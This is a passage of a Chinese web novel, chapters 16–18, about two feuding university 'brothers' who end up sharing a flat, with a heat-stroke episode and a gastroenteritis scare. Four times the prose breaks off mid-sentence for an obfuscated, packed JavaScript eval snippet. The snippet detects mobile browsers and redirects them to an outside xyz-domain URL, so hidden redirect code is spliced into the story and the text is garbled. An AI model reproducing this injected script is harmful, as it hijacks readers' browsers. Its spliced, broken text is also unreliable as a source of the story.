冲北余光看见他面前只是蹭了一层浅浅红油的碗盘,大步流星往外走。 梁澄则像他的仆人,拎着电脑袋子,紧紧跟在身后,还要掏出手机,自觉结账。 结好账,梁澄出来,拍了拍冲北肩膀,递给他一颗清口薄荷糖,“现在要回家吗?司机已经在地下车库等着了。” 冲北高傲地接过他手心的糖,撕开包装丢进嘴里。口腔里的油腻瞬间扫空,凉悠悠的,他嚼了几下,薄荷糖碎在舌根,而后咽下去。 没说话,一直瞪着眼,肆意打量梁澄。 个子比他高两三厘米,气质是女孩儿喜欢的那种高冷范,丹凤眼,鼻子高挺,嘴唇薄厚适当,白皮肤,在他的注视下,淡定地滚了滚喉结。 冲北嗤笑一声,不得不承认对面的男生是个帅哥,但臭屁地认为也就比自己差那么一点儿吧。 梁澄自如站在他面前,脸上没有因为他略显无礼的审视而露怯或是不悦,就那么云淡风轻平视他。 最后反倒冲北不好意思低下头,脚底蹭了蹭光洁的地面,说:“回家。” 回到家中,冲北又同冲霄大吵一架,原因很简单:凭什么停掉自己的信用卡!让他在商场大出洋相。 少年人正是最爱面子的时候,哪里受得了这般屈辱。 冲霄从未在金钱上亏待过冲北,第一次,就是因为梁澄。冲北对他这个哥哥的怨恨又添上一笔。 冲霄一脸严肃地坐在书房的办公桌前,等待愤怒的儿子宣泄结束,“小北,我为什么停掉你的信用卡?你心知肚明。上午你用车就那么急吗?是小澄先定的车,你非要去抢。” “我跟你说过很多次了,他双亲亡故,很可怜。你虽然是弟弟,但也要让着他一些。但你呢?他到家将近一个月,哪次不是你主动挑起,故意跟他对着干?” “实话说,我对你感到很失望。我从小对你的教育实在失败,才让你这段时间的表现如此无礼。” “是我从前太纵着你了!” 冲霄越说越生气,甚至起身重重拍了两下桌子。 冲北从来没有见过冲霄如此生气的样子,身体不自觉打了个哆嗦。 父亲在他眼里,既是慈父也是慈母,他想要的,就算是天上的星星,父亲也能替他搞到手。 而如今,只因为那个男孩的到来,一切都变了。他不再是父亲眼里摆在第一位的儿子,他得到的所有,都要匀出一份给梁澄,给那个可恶的“哥哥”。 冲北讨厌梁澄,冲北“恨”梁澄。 与父亲的争吵无功而返,信用卡依旧被冻结,冲北躺在床上默默流泪,余光之间瞥到了装电脑的哑黑色袋子。 上午在店内的难堪又在脑海中重复演绎一次,他试图逃避那个尴尬瞬间,鲤鱼打滚在床上翻滚一圈,可又想起和符景在咖啡店的交谈,还有符景玩笑他是深柜的话。 冲北烦得用力抓了几把自己的头发,又鲤鱼打挺坐起来。 忽然,他脑海中猛地浮现出一个计划,一个能让梁澄滚出冲家的绝美计划。 他选择躬身入局,作为这个完美计划的诱饵,待他入局。 * 也许是停掉信用卡的操作立竿见影,最近冲北在家里消停多了,碰上梁澄也不打嘴炮,两人开始好好相处。 冲霄表示孩子长大了,懂事了。于是重新恢复了信用卡额度。 暑假逐渐接近尾声,两人的关系也趋于缓和,甚至越来越好,看上去“兄友弟恭”。 开学当天,冲霄特地抽出一天时间,带着佣人到京州大学替冲北和梁澄打点好一切。 没受过苦的冲北一见到老旧的宿舍楼,和长着苔藓的公共卫生间,紧皱的眉头就没舒展下来过。 一直到冲霄答应会给他在校外租房,才结束喋喋不休的抱怨。而冲霄对两人一视同仁,租房自然也有梁澄的份儿。 梁澄以前跟着外交官父母在外漂泊,有些贫困国家的国际学校还比不上京州大学的老宿舍,他倒不嫌弃。只是……反正最后没拒绝。 两人都是金融系,但没分在一个班级,梁澄在一班,冲北在二班。宿舍自然也不在一起,但就是那么恰好的门对门。 佣人收拾完两人的东西,便提前离开了。 冲霄则带着两人和他们的室友出去吃了顿饭,替他们打点好同学之间的关系。 梁澄的为人处事他倒是不担心,他担心的是没受过苦,从小宠大的儿子。 一顿饭下来,冲霄心放下一大半,能考上京州大学的同学双商在线,虽然有些行为稍显稚嫩,但胜在足够懂事。 饭后,冲霄单独留下冲北交代一番和同学友好相处之类的话,便让他和梁澄回学校了。 冲北讨厌父亲的唠唠叨叨,他觉得冲霄把自己当做一个弱智,他哪里有那么傻逼,又不是没过过集体生活。一个晚上,就和室友们打好关系了。 冲北热情大方,特别爱请客,而人无一例外都喜欢慷慨不计较的同类。 第二天便是军训,冲北穿上军训服,就和室友们一起出去了。 对门的梁澄,和他的“完美计划”,早就被抛到九霄云外。 暑热害人,军训第一天就是练习站军姿,娇惯的冲少爷被热得头昏脑涨,下一秒就要呱呱坠地。 他的身体摇摇晃晃之际,站在他身后的梁澄主动举手,“教官,这位同学中暑了。” 汗水沿着帽檐滴滴答答往下坠,冲北整张脸被烧得铁红,不等教官应允,梁澄径直出列扶着他到前边儿阴凉的空地坐下。 他轻轻取下冲北的帽子,朝后抹了一把额头上沾湿的头发,高热的指肚瞬间浸透了热汗。 冲北热得眼睛都睁不开,只感觉面前清风徐来,凉悠悠的,有人在替他扇风,而后嘴里被塞进酸苦的中暑药。 难以下咽,冲北险些呕出来,旁边温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁澄推开门,扭头望着冲北穿着宽大作训服依旧高挑的背影,问:“要进来吗?” 冲北吸了口气,想在给自己打气,他进去,背身问梁澄,“我坐哪里?” 宿舍是四人间,上床下桌的布置。 梁澄反手关掉门,指着右侧离门最近的那个位置,“这是我的床,你想睡的话,就上床去睡觉。” 冲北皱了下眉,他和梁澄又不熟,怎么还要去睡他的床,可恶。 床上铺着和自己一模一样的三件套,心里微微泛酸,他凭什么用东西跟自己这个真少爷一模一样! 他就是要睡,用身上的臭汗水味弄脏他的床铺。 冲北很任性,没脱鞋,踩着臭鞋爬上梁澄的床。他的外套、外裤沾着操场上的草屑灰尘,脏得很。 面朝白墙,背对梁澄,冲北傲娇道:“我要睡觉了,梁澄你别发出任何声音。” 梁澄站在床下,头与床面齐平,问:“你不脱鞋吗?衣服也不脱?” 16. 第16章 冲北不悦道:“就是不想脱,我就喜欢穿着衣服睡。” 梁澄本意无非想让冲北睡得舒服些,但他似乎误会了,“哦”了一声,也就沉默着没讲话了。 他找出空调遥控器,滴滴滴……贴心地把温度调到最低。 室内静谧,只有空调工作的嗡嗡声音,冲北侧着身却怎么也睡不着。身上一股汗臭味,没熏臭梁澄的床铺前,他简直要被自己给熏死了。 忍着臭味,保持背对梁澄的姿势。过了几分钟,实在受不了,他挪转了个位置,正脸朝外,正好看见梁澄推得很平的后脑勺。 只能看见一个后脑勺,也不知道梁澄在干嘛。不过,他猜应该在玩手机。 他也很无聊,也想玩手机,可是他的手机昨晚忘记充电了,现在还在对面宿舍充电。 不自觉深深叹了口气,随后,梁澄竟然抬头了,浓黑的眸子恰好与他对视,冲北很刻意转过视线,看向白花花的天花板。 梁澄仰头问:“你睡不着吗?” 过了许久,冲北才别别扭扭回了个“嗯”,顿了顿,低声补充,“身上全是汗味儿,我想洗澡。” “洗澡”两个字不知道熏到梁澄哪根神经,霎那间耳廓通红,椅脚与地面发出刺耳的摩擦声,他站起来,朝衣柜方向走。 后背对着冲北,说:“那我给你找我还没穿过的新睡衣,给你穿。” 冲北愣了愣,心情复杂地下了床,低头瞧见楼梯上已经干黄的泥土印记,顿时对自己的粗鲁而感到抱歉,拿起桌面的湿纸巾去擦。 梁澄拿好衣服扭头看见的正是冲北认真擦拭脚梯的样子,他一边往阳台走,一边说:“你先去洗澡吧,我等会儿自己擦。” 去阳台拿了沐浴露和洗发水,装在水盆里一起递给冲北。 冲北接过盆子,看了一眼越擦越脏的楼梯,良好的教养让他感到羞耻,但又臭屁地朝梁澄点了点下巴,推开门去澡堂。 京州大学的宿舍楼老旧,每层设置了一个公共洗漱间。 现在是上课时间,空荡荡的淋浴间透着森森湿气,晦暗的角落传来滴滴答答的水声,耳畔回荡。 第一次在除了自己外空无一人的淋浴间洗澡,平时称不上胆小的冲北此时也有点发怵。 往常人多,这里头人声鼎沸,浓烈的白雾遮掩了彼此间赤身裸体的尴尬,加速友情升温。 而一个人的淋浴间,一眼望去是一间间没有门、没有雾气遮挡的灰黑色小隔间,所有私隐暴露在微热的空气中。 冲北双手攥紧塑料盆沿,后背却感觉凉飕飕的,比刚从空调房里出来还要冷。 空气里潮湿阴暗的味道,让他不太敢朝里走了。 阴冷的白瓷墙角被残留的洗浴膏体沾染得滑溜溜、脏兮兮,冲北嫌弃地看了一眼,但进去离门口最近的那一间。 军训服的裤兜宽大,不合身,他好不容易掏出校园卡,正准备贴在机器上时,后方传来嗒嗒的脚步声。 冲北心头一紧,猛地扭过头,看到人的那瞬间放松,原来是梁澄过来了,。 “你怎么来了?”冲北被吓到,语气不好地问。虽然他挺想梁澄留在这个潮湿闷热的地方陪陪他,可却说不出口。 “我忘记给你拿内裤了。”梁澄伸出背在身后的手心,把一团灰色的绵柔布料递给他。 冲北抿了下唇,快速接过,尴尬地咳了咳,“新的吧?” 梁澄点头,“你放心,都是全新的,我从来没穿过。” “嗯。”冲北没动,看了眼头顶半明半暗的吸顶灯,赶客,“你走吧,我要洗澡了。” 梁澄“嗯”了一声便直接扭身离开,冲北咬唇,盯着他高挑的背影即将消失在视野之外那一刻,叫住他,“梁澄,你……” 梁澄转身,皱眉看他。 冲北攥紧双拳,低声说:“你留下陪我几分钟。” 两人之间隔着三四米,梁澄朝他走过来,淡淡地问:“你刚刚说什么?我没听清。” 冲北低头看到他军绿色的胶鞋,话黏在嗓子眼,却怎么也开不了口。 梁澄走近,裹挟着一阵热风袭来,冲北感到双颊发烫,破罐子破摔道:“我说!让你陪我洗澡。” 他抬眼看向梁澄,那双漂亮的狗狗眼瞪得圆鼓鼓的,像生气的金鱼。 看不见梁澄脸上的表情,站在背光处的少年,面部一片漆黑,只有一双凤眼透着莹莹光润,璀璨明耀。 梁澄不搭话,冲北生气地跺了跺脚,“算了,你滚吧。” 他迈进隔间,身后的梁澄说:“好。” 冲北猛地扭头,发现他嘴角微微上翘,眼角也笑得勾起。 他在笑话自己。 冲北内心挣扎,想让他滚蛋,又害怕一个人待在这里,最后妥协了,“别站在门口,去旁边一点儿。” 梁澄果然听话挪了位置,站在看不见隔间里面的位置。 冲北拿眼评估了距离,而后放心地把校园卡贴上机器,这才开始安心洗澡。 脏衣服脱去,哗哗水声响起,冲北脸正对外头,他看不见梁澄,却看到眼前白色瓷砖上留守的长长黑影。 澡堂空旷死寂,水声响起来,那条影子始终陪伴他直到结束。 取下校园卡,冲北脖子上挂着条毛巾从隔间出来,手里端着塑料盆,停在他身边,挑挑眉,“谢了。” 不等他回答,冲北已经朝外走了。 梁澄默默赶上去,踩在他印湿的一个个脚印上,一起返回宿舍。 临近中午,室友陆陆续续回来,冲北也回到自己宿舍,给冲霄报备上午晒晕中暑的事情。 溺爱儿子的冲霄竟然想要直接冲来学校接他回家,最后在冲北反复劝说保证下,放他继续军训。 冲北笑着关掉手机,心里甜滋滋的。 伴随暑热的军训结束,两人迫不及待搬进了校外的租房,当然这件事的强烈推动着百分之九十来自冲北。 但冲北一到小区傻了眼,他爸竟然给他和梁澄租了一套三室一厅,而不是分开租两套房子。 冲北看了眼身后的疑问他为什么站在门口不进去的梁澄,还是迈步走进去,理所当然地霸占了面积最大的主卧,把面积稍小的次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275765|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卧留给了梁澄。 还有一间房,改为两个人的临时书房。 房间已经提前被家里的佣人收拾过,只需要把从学校带过来的行李放好,他和梁澄今天就算是正式“同居”了。 冲北坐在床边舔了舔干涩的唇瓣,灵光一闪想起他那个还未实施的绝美计划,现在这种抬头不见低头见的情况岂不是更利于计划实施。 虽然他和梁澄最近关系还不错,但是他认为这无非是一种虚伪的表象关系,梁澄是必须要离开的,冲家的少爷只能是他冲北。 翘着二郎腿正美滋滋幻想着梁澄滚出冲家后的美好时光,卧室门突然被敲响。 冲北问:“干什么?” 梁澄说:“现在要吃饭吗?” 冲北踩着拖鞋,开门,“行。但我不想出去吃了,搬个家真累。我们点外卖吧。” “行。”梁澄点头,朝客厅走,“过来看看要点什么?” 两颗毛茸茸的脑袋贴近,坐在柔软的沙发上在手机屏幕滑来滑去,冲北好不容易看到一家想吃的店,连菜都点好了。 哪知一看预计配送时间,竟然需要一个半小时。他肚子打了个鸣,气呼呼地说:“一个半小时,我都要饿死了。” 梁澄看了眼屏幕上的时间,此时正值晚上点餐高峰期,配送能力不足,“这个点儿估计点什么都很久,要不然我们随便做点填填肚子,明天周末出去吃点儿好的?” “可我不会做饭。”冲北把手机还给梁澄,仰靠在沙发,余光瞟他。 那意思很明确:我不会做饭,但饿了。 梁澄收到,站起来,说:“我来做,冰箱里阿姨塞了很多食物,你想吃什么?” 冲北两颗圆溜溜的大眼睛一眨一眨,整个人忽然从沙发上跳起来,震惊地问:“我想吃什么你都能做?” 梁澄不好意思地挠了挠发热的鬓角,解释,“我也只会做一些简单的。” 冲北失望地“哦”了一声,但肚子越来越饿,此时也顾不得那么多了。 他和梁澄站在冰箱前,叽叽喳喳观察里面的食材,冲北问梁澄会做什么?梁澄一一回答。 最后决定做简单且快速的西红柿炒鸡蛋面填腹。 梁澄姿态娴熟地拿出食材,冲北双手抱胸站在一边看,磨了磨嘴皮,想问他需不需要帮助。 但他觉得自己恐怕会帮倒忙,还不如不开这个口。 洗好番茄后,梁澄展现出了他及其普通的刀工,案板上的番茄被切了大小不均的片状,冲北撇了撇嘴。 梁澄咳了一声,低头解释,“好久没做饭了。” 冲北似笑非笑“哦”了一声。 打好鸡蛋,梁澄点火烧锅,食用油倒进去的一瞬间,混合锅里剩下的水汽,噼里啪啦飞溅。 冲北站在他身后吓得麻利地跳到餐厅。 梁澄也被吓了一跳,赶紧拿锅盖去捂。 冲北双手扒在金属推拉门框上,怀疑地问:“梁澄,你确定自己真的会做饭吗?” 梁澄回头,语气笃定,“会做饭。” 能弄熟的那种…… 17. 第17章 等待锅里噼里啪啦的响声归于平静,梁澄这才揭开锅盖,把碗里打好的金黄色的鸡蛋液飞快倒进去,结果锅里又是噼里啪啦地响,他快速往后一退。 烈火灼烧之上的鸡蛋迅速凝结,周围卷起焦黄的裙边。 锅里还有细小的油滴飞溅,梁澄小心翼翼拿锅铲去翻,熟透的鸡蛋开始由焦黄变成焦黑,他忙手忙脚调小天然气,在锅里来回铲了几次,把炒好的黄黑交加的鸡蛋盛盘。 看着盘子里卖相难看的炒鸡蛋,梁澄正迟疑着是否需要倒进垃圾桶,重新做一份。 冲北上前瞧了一眼盘子,勉为其难地说:“就这样吧,我好饿。吃的时候把黑色的挑出来扔掉就行。” 梁澄想想也是,若无其事,实则尴尬地抹了抹脸上的热汗,重新开火倒油炒番茄。 这一次,有过“前车之鉴”,动作明显熟练多了。 十分钟后,冲北皱着眉夹起面碗里黑黢黢的鸡蛋,扔在骨碟里,面汤表面浮现的黑色焦状物实在太多了,挑着挑着连手臂都开始发酸。 冲北气呼呼撂了筷子,怒视对面的梁澄指责,“你这个骗子,这么多烧糊的鸡蛋,让我怎么吃!挑都挑不完。” 梁澄拿着筷子的手停在半空,深深地看了他一眼,心平气和地说:“我这碗马上挑完了,给你吃。” 冲北撇了撇嘴,从善如流地接受梁澄的建议。而自己面前这碗黑黢黢的面,他犯懒,确实不想动了。 菜烧糊了,是厨子厨艺的问题,他这个食客凭什么要动手。 梁澄的手速快,两三分钟过去,冲北终于吃上面条。 除了焦黑的鸡蛋,实话讲这碗卖相一般的番茄鸡蛋面味道的确不赖。也是因为他确实饿了,大口吸了没几下,碗里的面就只剩一半。 而对面的梁澄还在认真挑着冲北那碗面条。 冲北扯了张餐巾纸,擦了一下嘴唇上裹着油脂的面汤,盯着对面人问:“你不饿吗?” 梁澄抬眼,发现冲北正盯着自己,像仓鼠一样鼓起的两腮认真咀嚼,当真可爱,“我还好,不怎么饿,你饿了就吃,吃不够,我这碗也给你。” 冲北继续咀嚼,而后咽下嘴里剩余的面条,若有所思地审视他。 梁澄这性格也太逆来顺受,好欺负了吧。 整得他都有点儿不好意思了。 梁澄被盯着尴尬,疑问:“怎么了?我脸上沾了什么东西了?”说着便伸手去摸。 冲北摇头,“没什么。”又低头吸溜碗里的面条, 两三口,碗里剩余的面条便一干二净了。他舔了舔沾了面汤油润的嘴唇,回味这碗沁人心脾的家常味道面条。 此时,梁澄恰好挑完了面汤里的黑鸡蛋,主动把碗移到他面前,“给你。” 冲北看着干干净净的番茄鸡蛋面,红绿相交,食指大动。 肠胃已经饱了,但嘴却馋。 这面条味道家常,可实在鲜美。不过,冲北固执地认为这是因为他过于饥饿的缘故,而并非梁澄厨艺高超,否则他也不会连简单弄个鸡蛋都能煎糊。 冲北摸了摸略微凸起来的肚子,瞥了眼一脸期待的梁澄,大发善心地拿筷子挑了一半到自己碗中,把那只碗重新推到梁澄面前。 “我吃这些就够了。”冲北说完,便自顾自低头吃面。 梁澄双手端着温热的碗璧,眼神温柔地看着吃面的冲北,他不饿,心却被少有的温情时刻填满。 冲北吃干抹净,摸着发胀的肚子舒服地仰靠在椅背。 梁澄拿着筷子,慢悠悠咬着面条,像挑食的小孩,一根一根吸着面,看得人毫无食欲。 冲北上下打量他,短袖下的手臂线条漂亮,不胖也不算太瘦,是女孩儿最喜欢的薄肌体型。又低头打量起自己的手臂,怎么感觉比他还要粗,害人不浅的碳水。 冲北从吃饱后的满足,陡然转为对自己暴饮暴食的鄙夷。他猛地拉开椅子站起,把正在吃面的梁澄吓得抬起头,问他:“你怎么了?” 冲北莫名其妙瞪了一眼他,挑衅道:“吃个面还娘们兮兮的,老子看不起你。” “……”梁澄愣了一下,无措地解释:“我今天没胃口,平时吃饭不这样的。” 冲北淡淡“嗯”了,扭身就仰躺在客厅的沙发,打开投影,随便选了部电影开始消食。 耳畔传来碗碟叮叮作响的声音,是梁澄正在清洁餐厅和厨房的残局。 冲北像男耕女织传统家庭里的丈夫,吃了便躺下。 他听着厨房传来的水流声,外耳廓略微变红,还算有良心,纠结着要不要去帮梁澄的忙。 又是做饭又是做清洁的,还真把梁澄当住家保姆了?要是他去他老子那儿告状,说自己把他当仆人使唤,他不得又被停了信用卡。 一张薄薄的卡片关乎他的性命,是他最重要的命脉。 于是,冲北按下电影暂停键,不情愿地起身来到厨房,对着那个洗碗池旁边的背影说:“梁澄,我来洗碗吧。” 被水流声干扰的梁澄没听清,转头疑惑地看他,“你说什么?” 他刚才似是而非地听见冲北说他要洗碗,但这几个听起来天方夜谭的字词,让他需要再次确认一遍。 “我说,我来洗碗。”冲北语气不善,又抱怨,“什么耳朵呀。听不见就去医院看看。” 最后一句话说得很小声,梁澄是真的没听见。 梁澄关掉水龙头,皱着眉疑惑地“嗯”了一声。 冲北背着手,点头说:“没什么。” 梁澄继续当洗碗工,冲北就倚在厨房门框处当称职的监工。 眼前的男人身穿一件黑色短T恤,多余的部分扎进直筒灰蓝色牛仔裤里,他的腰腹纤细有力,弓身洗碗时,腰部多余的布料随着动作晃动,在拉扯中渐渐散开,露出一小截白皙的腰身。 冲北倏地扭过头,不自在地咽了口唾沫。 等他再次转头看时,那截黑色布料完全盖下来,笼住翘起的屁股。 冲北看着凸起的衣料,捏着下巴点头:这屁股真翘。 水声停止,冲北漂亮的屁股没了,他转身若无其事为自己倒了杯凉水。 梁澄出来时,恰好望见的是倚靠饮水机,耳朵微红喝水的冲北。 两人对视,冲北愣了愣,客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275766|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气地问:“要喝水吗?” “好的。”梁澄点头,走到他面前。 冲北拿出杯子,替梁澄倒了杯冷水。 梁澄接过,盯着他高耸的腹部,抿了一口,是凉的,他像个老学究说话,“才吃完饭,最好不要喝冷水。可能会肚子痛。” 冲北后背靠在饮水机上,被他直勾勾的视线一看,着实有些不好意思。 他心里不忿道:别以为我吃撑了,你就能吹嘘自己的厨艺。不过是因为太饿,小爷我的被迫之举。 虽然他的不好意思不仅仅源于这个单一原因。 冲北哼了哼几声,还是点了个头,口干舌燥加速饮尽杯中最后一口水,把杯子搁在饮水机上,就不管了,好像特意等着某人去收拾。 梁澄也的确帮他收拾了。 一模一样的两只水杯被他放置在一起,清洗干净。 先前按下暂停的电影此时已经重新开始,冲北听见厨房的水声再次停止,意识到连续使唤梁澄的他明显不占理,需要作出一点兄友弟恭的行为去补救一下。 冲北友好地朝梁澄招手,邀请,“过来看电影。” 梁澄在他身边坐下,过来时顺手把餐厅和厨房的灯光关闭,此时室内只剩余投影的微弱光芒。 电影刚刚开始,冲北感到晕碳,他打了个哈欠,仰躺在沙发半眯着眼睛,头昏脑涨,简直恨不得即刻入眠。 可……随之电影渐入佳境,打打杀杀的战争音效吵醒昏沉的冲北,与此同时,他鼓胀的腹部越发不舒服了。 冲北摸着肚子,不是平常柔软的感觉,而是有些发硬,口腔里也开始泛起酸水,一股呕吐感从喉管喷涌而出。 透过投影弥散的黯淡光线,梁澄率先发现他的不对劲,看着他担心地问:“你怎么了?肚子不舒服吗?” 冲北的额头已经开始发汗,他又热又胀,一股酸水在喉管潮起潮落,撑起精神,难受地说:“我肚子好胀,好想吐。” 梁澄凑近他,摸了摸他发硬的肚子,想起晚上狼吞虎咽的冲北,饭后还立刻喝了一整杯凉水,意识到他这恐怕是犯了肠胃炎。 梁澄同父母亲辗转生活过多国,生活经验还算丰富,这时候必须找专业人士,他打了急救电话。 冲北被医护人员带上救护车的前一秒,还在抱怨梁澄为何小题大做,他不过是吃撑了,为这点儿事情浪费公共资源。 梁澄却不像病人本人那样淡定,那双稠黑的眼里充满了担忧的神情。这一刻,梁澄很执着,不像平时那样顺从冲北的意见。 救护车抵达医院,痛得满头大汗的冲北被诊断出急性肠胃炎,此时疼得气弱声嘶,那双莹莹的狗狗眼直愣愣盯着梁澄,好似他是从天而降的救星。 梁澄抓住他的手,嘴里一直念叨着不要害怕,但微颤的指尖已然泄露内心真实情绪。 他也在害怕。 冲北被推进检查室了,梁澄独自一人留在一门之隔的公共走廊。 这样相似的场景令他心脏猛烈抽搐,疼到缩在角落,他以一种自我封闭、保护的姿态抱着自己,那双浓黑的眼眸却紧紧盯着门顶上亮起的检查灯。 18. 第18章 冲霄衣衫不整赶到医院时,看到的便是这样一幅场景: 检查室门外的金属椅子旁蹲着个小小的身影,他咬着唇,双臂抱胸将自己禁锢在小小一隅,白炽顶光灯照射下是一脸的灰白,只有那双墨黑的眼睛透着乞求的光,死死盯着检查室的大门。 冲霄来之前已经通过院领导提前了解冲北病情,不严重,就是普通肠胃炎,吊个水就行。 他走过去,蹲下来,轻柔地拍了怕梁澄冰冷的肩膀,宽慰他,“小澄,别担心,他没事。” 梁澄身体打了个哆嗦,侧过脸,眨了一下酸痛的眼睛,声音沙哑地道歉:“冲叔叔,对不起,是我没能照顾好他。” 冲霄眼光复杂地盯着他,叹了口气,解释,“这跟你没关系,他也是个大人了,你们俩不存在谁照顾谁。要有错的话,也是我的错,把你们俩小孩安排住在一起。” “我应该替你们找个保姆照料你们。” 梁澄固执地把错误推给自己,用力摇头,“他明明已经吃完一碗面了,我还要逼他吃我的那碗面,都是我的错。” 冲霄眉头忽地皱起,今天的具体情况他不清楚,但以他对两人平时相处的了解,这面恐怕是冲北抢着要吃,而非梁澄说的他逼着吃。 还没想清楚这里头的弯弯绕绕,这时,嘀一声,检查灯灭了,白色的大门从里被打开,冲北被医护推出来。 蹲在地上两人赶忙起身,梁澄因小腿发麻晚了一步,被冲霄抢占有利位置。 冲北已经醒了,做了紧急救治,他现在感觉好多了,医生说只需要输水便可以回家。 看着一脸焦急的父亲,冲北声音带着病弱,“爸,我没事了。” 冲霄担心地点点头,没有责备,只是说:“嗯,你没事就好。” 父亲旁边站着梁澄也一直担心地注视他,嘴唇翕动,却不出声。冲北看他一眼,别扭地也没说话。 三人转移到舒适的单人病房,冲北吊了水,此时情况已经好多了,连说话都有了力气。 他朝坐在床沿的冲霄抱怨,“都是梁澄,他做的糊面,鸡蛋都烧成''黑炭'',我吃了才得肠胃炎。” 冲霄一脸尴尬,这同医生跟他讲得南辕北辙,看了眼低头缄默的梁澄,冲霄不认为他应当放纵儿子的无礼。 冲霄低声教训他, “不可以这样说。小澄给你煮面吃还煮错了?要不是他会做饭,你还不得饿死。多做多错,少做少做,不做就不会错。” 冲北本想借这次“肠胃炎”让父亲对梁澄产生嫌隙,从而达到欺负梁澄的目的,但老谋深算的父亲面前,他这点儿小算计根本不够看的。 头一偏,冲北径直转身,气滚滚地背对两人。 夜已深,窗外传来人造湖里的青蛙叫声,冲北听着呱.呱大叫,更加认为他受了天大的委屈。 病房里一时寂寥无声,冷白灯光笼罩着沉默的三人。 半晌,冲霄出来打圆场,“明天起,我让刘姨到你们那边去,负责一日三餐还有……” 话还没说完,被猛地一翻身的冲北义正言辞地打断,“不要刘姨。我不是小孩子了,自己可以搞定,”又小声喃喃,“你不就是想找个人监视我吗?哼,才不要。” 冲霄拧着眉,只听见他前半句,后半句只有嗡嗡的声音,但他没问,以他对冲北的了解,想来也不是什么好话。 冲霄冷声道:“你可以搞定?就是把自己搞到医院来吗?” 话刚落地,余光睨见低头坐着的梁澄,顿觉失言,冲霄扭头对梁澄说:“小澄,你别介意,我不是在说你。” 梁澄垂丧着脑袋摇头,把错误推到自己身上,“不是的,叔叔,今天就是我的错。” 冲北在旁看热闹不嫌事大,火上浇油,“本来就是你的错。” “冲北!”冲霄语气不善地呵斥一声。 冲北不甘示弱地“哼”了一声,又生气地转过身面对闪着微光的窗外。 吊完水,已是第二日凌晨,冲霄没让这俩孩子回到出租屋,将人都接回冲家大宅。 大学的第一个周末,两个试图逃脱大人掌管生活的小朋友,又被迫重新回到和煦的温室。 一个周末的休养,身强力壮的冲北重新生龙活虎,少年人强悍的恢复能力,意味他已经积蓄满足够对抗的精力。 在冲北的再三保证下,那间属于两人的出租房内婉拒了第三人的“监控”。 冲北以成年男性需要自力更生,有理有据拒绝了父亲的要求,并且保证他会开始学习做饭,给梁澄打下手,不会让他一个人忙的。 男人的保证如吸饱了水的海绵,一旁的梁澄不置可否地看了他一眼。 冲北一本正经地瞪回去。 至此,两人开始了相依为伴的走读生活。 第一次离开大家长的掌控,如同被囚禁的鸟儿重获新生与自由。短暂的欢快下,迎来的是未知的碰撞。 家中衣来伸手饭来张口的日子一去不复返了,迎接冲北的是兵荒马乱,顶着一头鸡窝,奔去气喘吁吁上早八的窘迫。 晚上的冲北是睡不着的,早上的冲北是喊不醒的,只能靠梁澄“登堂入室”叫醒他,还要为他做一杯醒神提脑的冰美式,唤醒难出眠的“睡”小伙。 那些生活中的摩擦最终变成了梁澄一个人的妥协,冲北的承诺如同掌心攥紧的沙,全都从指缝溜得一干二净。 可被全方位体贴照料的感觉实在太舒服了,舒服得让冲北得意忘形,忘记原本目的。 下课回来,两人在书房做作业。 冲北玩心大,作业不打开,电脑屏幕上显示游戏页面,玩了几局,他摘下耳机,扭头一看,梁澄正在点击提交。 眨眼间,提交成功几个大字显示在屏幕上头。 冲北恼火地叹了声气,说:“哎,我玩着玩着都忘记了,这个今晚就要交,对吧?” 他其实存了侥幸心理,万一自己记错时间了呢。 梁澄笃定点头,“对的,今晚十二点之前。”没有要帮冲北做一份的意思,径直起身,“我先去做饭了。” 冲北哀叹一声“哦”,看着他背景消失在门外。 开学将近两个月,两人吃了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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情不自禁吞咽了唾沫,两颊红得像滴血,冲北心里燥得慌。 外门人耳朵贴着玻璃,听见一声吞咽,有些着急敲了两下门,问:“冲北,你没事吧?回个话,不然我就进来了。” 冲北头皮顿时发麻,咬着后槽牙,沙哑着说:“马上,我在拉屎。” “……”梁澄那边愣了一下,无语道:“你真是……什么时候不拉,现在拉,我先去吃饭了,你慢慢拉吧。” 听见远离的声音,冲北瞬间放松牙关,缓缓呼了一口长气。 镜子里的人额头布满密集的热汗,顺着湿润的鬓角一直流下脖颈,消失在灰色上衣中。 少顷,冲北打开卫生间通风,在水龙头下用冷水洗了把脸,才冷漠地走出去。 